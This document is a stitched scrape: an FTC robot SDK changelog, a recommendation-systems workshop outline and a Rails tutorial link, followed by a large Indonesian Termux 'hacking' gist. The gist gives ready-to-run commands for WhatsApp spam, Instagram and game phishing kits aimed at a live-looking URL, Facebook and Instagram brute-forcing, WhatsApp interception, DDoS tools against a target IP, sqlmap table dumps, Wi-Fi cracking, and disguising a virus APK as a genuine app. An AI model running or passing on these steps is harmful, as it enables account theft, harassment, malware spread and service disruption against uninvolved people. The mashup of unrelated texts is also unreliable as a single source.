clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
piyushpathak03
Recommendation Systems This is a workshop on using Machine Learning and Deep Learning Techniques to build Recommendation Systesm Theory: ML & DL Formulation, Prediction vs. Ranking, Similiarity, Biased vs. Unbiased Paradigms: Content-based, Collaborative filtering, Knowledge-based, Hybrid and Ensembles Data: Tabular, Images, Text (Sequences) Models: (Deep) Matrix Factorisation, Auto-Encoders, Wide & Deep, Rank-Learning, Sequence Modelling Methods: Explicit vs. implicit feedback, User-Item matrix, Embeddings, Convolution, Recurrent, Domain Signals: location, time, context, social, Process: Setup, Encode & Embed, Design, Train & Select, Serve & Scale, Measure, Test & Improve Tools: python-data-stack: numpy, pandas, scikit-learn, keras, spacy, implicit, lightfm Notes & Slides Basics: Deep Learning AI Conference 2019: WhiteBoard Notes | In-Class Notebooks Notebooks Movies - Movielens 01-Acquire 02-Augment 03-Refine 04-Transform 05-Evaluation 06-Model-Baseline 07-Feature-extractor 08-Model-Matrix-Factorization 09-Model-Matrix-Factorization-with-Bias 10-Model-MF-NNMF 11-Model-Deep-Matrix-Factorization 12-Model-Neural-Collaborative-Filtering 13-Model-Implicit-Matrix-Factorization 14-Features-Image 15-Features-NLP Ecommerce - YooChoose 01-Data-Preparation 02-Models News - Hackernews Product - Groceries Python Libraries Deep Recommender Libraries Tensorrec - Built on Tensorflow Spotlight - Built on PyTorch TFranking - Built on TensorFlow (Learning to Rank) Matrix Factorisation Based Libraries Implicit - Implicit Matrix Factorisation QMF - Implicit Matrix Factorisation Lightfm - For Hybrid Recommedations Surprise - Scikit-learn type api for traditional alogrithms Similarity Search Libraries Annoy - Approximate Nearest Neighbour NMSLib - kNN methods FAISS - Similarity search and clustering Learning Resources Reference Slides Deep Learning in RecSys by Balázs Hidasi Lessons from Industry RecSys by Xavier Amatriain Architecting Recommendation Systems by James Kirk Recommendation Systems Overview by Raimon and Basilico Benchmarks MovieLens Benchmarks for Traditional Setup Microsoft Tutorial on Recommendation System at KDD 2019 Algorithms & Approaches Collaborative Filtering for Implicit Feedback Datasets Bayesian Personalised Ranking for Implicit Data Logistic Matrix Factorisation Neural Network Matrix Factorisation Neural Collaborative Filtering Variational Autoencoders for Collaborative Filtering Evaluations Evaluating Recommendation Systems
jamesyu
A simple Rails and Backbone.js application. Follow the tutorial here: http://www.jamesyu.org/2011/01/27/cloudedit-a-backbone-js-tutorial-by-example/
Rizalcahdemak
Skip to content arysandi/kumpulan kode di termux Created 3 years ago • Report abuse Code Revisions 1 Stars 105 Forks 8 kumpulan kode di termux KUMPULAN CODE TERMUX LENGKAP | SPAM CHAT WHATSAPP || nggk usah nyepam gw -_* atau hp lu gw ledakin!!#@vms $ pkg update && pkg upgrade Setelah mengupdate dan mengupgrade termux ketikan perintah berikut : $ pkg install python2 (y/n pilih y) $ pkg install php (y/n pilih y) $ pkg install git (y/n pilih y) Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya : $ git clone https://github.com/siputra12/prank.git Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini : $ cd prank $ ls $ php wa.php Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 085710917169 kemudian enter pada pilihan y/n pilih y .. .welcome back to me catatan:).... #@vms " jngan lupa subcribe pak *VEMAS DARK* -_-... (:" "phising game" (mobile legends dan clash of clan) $apt update $apt upgrade -y $pkg install python2 -y $pkg install apache2 $pkg install php -y $pkg install git $git clone https://github.com/Senitopeng/PhisingGame $ls $cd PhisingGame $python2 phising.py *Gunain dengan bijak cuk -_-* Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py by: *Vdk* *~CARA SADAP WA~* *_SeNaNg-SeNaNg H4CK1NG MR.STAH_* $pkg update && pkg upgrade $pkg install git $pkg install curl $git clone https://github.com/AndriGanz/whatshack $cd whatshack $ls $sh whatshack.sh *~Jangan salah gunakan~* Tutorial termux Silahkan perdalami... D-tect tool Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py 2. cara uninstall tool termux rm -rf toolsnya 3. cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py 4. irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux ———————————— 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ Musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ Cara Mendengarkan Yotuube di termux $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya. Tutorial membuat virus seperti aplikasi aslinya Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug Here 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh ———————— Auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ Autoreaction Facebook git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction •TOOLS²TERMUX.P3 21.TOOLS SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap python2 sqlmap.py ============================= 22.TUTORIAL PHISING INSTAGRAM VIA TERMUX pkg update pkg upgrade pkg install python2 pkg install git clear git clone https://github.com/evait-secutiry/weeman.git cd ls cd weeman python2 weeman.py show set url http://dewopanel.host22.com/masuk.php set port 8080 set action_url http://dewopanel.host22.com/masuk.php run ============================= 23.TUTORIAL MENAMBAH FOLLOWERS&LIKE INSTAGRAM Kegunaan untuk menambah follower dan like ig pkg update pkg upgrade pkg install python2 pkg install ruby gem install lolcat pkg install git git clone https://github.com/Hanzelnutt/instabot cd instabot ls pip2 install -r requirements.txt bash instabot ============================= 24.TUTOR HACK WIFI KHUSUS ROOT apt update apt upgrade apt install git git clone https://github.com/esc0rtd3w/wifi-hacker ls cd wifi-hacker ls chmod +x wifi-hacker.sh ls ./wifi-hacker.sh ============================= 25.TOOLS xNOT_FOUND *VER1* apt update && apt upgrade pkg install git pkg install gem pkg install figlet gem install lolcat git clone https://github.com/hatakecnk/xNot_Found cd xNot_Found sh xNot_Found.sh ============================= 26.HACK FB Nih ada tutor buat lewat TERMUX buat hack FB apt update && apt upgrade apt install python apt install python2 apt install ruby apt install git apt install wget apt install curl pip2 install mechanize pip2 install requests git clone https://github.com/hnov7/mbf *tunggu hingga selesai,jika sudah selesai *silahkan buka tab baru atau new session lalu ketik : cd mbf python2 mbf.py ============================= 27.HACK GMAIL apt-get update && apt-get upgrade apt-get install git apt-get install python python-pip python-setuptools pip install scapy git clone https://github.com/wifiphisher/wifiphisher.git cd wifiphisher< python setup.py install cd wifiphisher python wifiphisher ============================= 28.BERMAIN MOON-BUGGY pkg install moon-buggy moon-buggy ============================= 29.PERKIRAAN CUACA curl http://wttr.in/ (lokasi) ============================= 30.BROWSING DI TERMUX pkg install w3m w3m www.google.com Linknya bsa diubah ============================= [8/10 19.49] Yovis Si Wibub: Apt update Apt upgrade Apt install mechanize Apt install git git clone http://github.com/hnov7/mbf cd mbf python2 mbf. py Mbf tanpa username dan password. Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize $ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 